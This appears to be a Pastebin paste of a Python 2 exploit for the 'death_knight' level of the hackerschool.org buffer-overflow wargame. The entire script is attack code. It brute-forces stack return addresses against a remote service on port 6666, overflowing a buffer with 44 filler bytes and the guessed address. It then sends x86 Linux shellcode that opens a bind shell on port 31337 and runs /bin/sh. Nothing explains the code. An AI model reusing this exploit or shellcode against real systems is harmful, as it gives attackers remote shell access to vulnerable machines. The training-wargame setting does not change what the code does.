hdarwin

hackerschool.org_LOB_death_knight

Feb 8th, 2013
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.74 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import socket
  3. import struct
  4. address = "ip", 6666
  5. for x in range(0xbffff001, 0xc0000000):
  6.     if x & 0x000000ff == 0:continue
  7.     if x & 0x0000ff00 == 0:continue
  8.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9.     s.connect(address)
  10.     s.recv(255)
  11.     code = "A"*44+struct.pack("<L", x)
  12.     code = code + "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
  13.     s.send(code)
  14.     s.close()
  15.     if x == 0xbfffffff:
  16.         print "end!"
Add Comment
Please, Sign In to add comment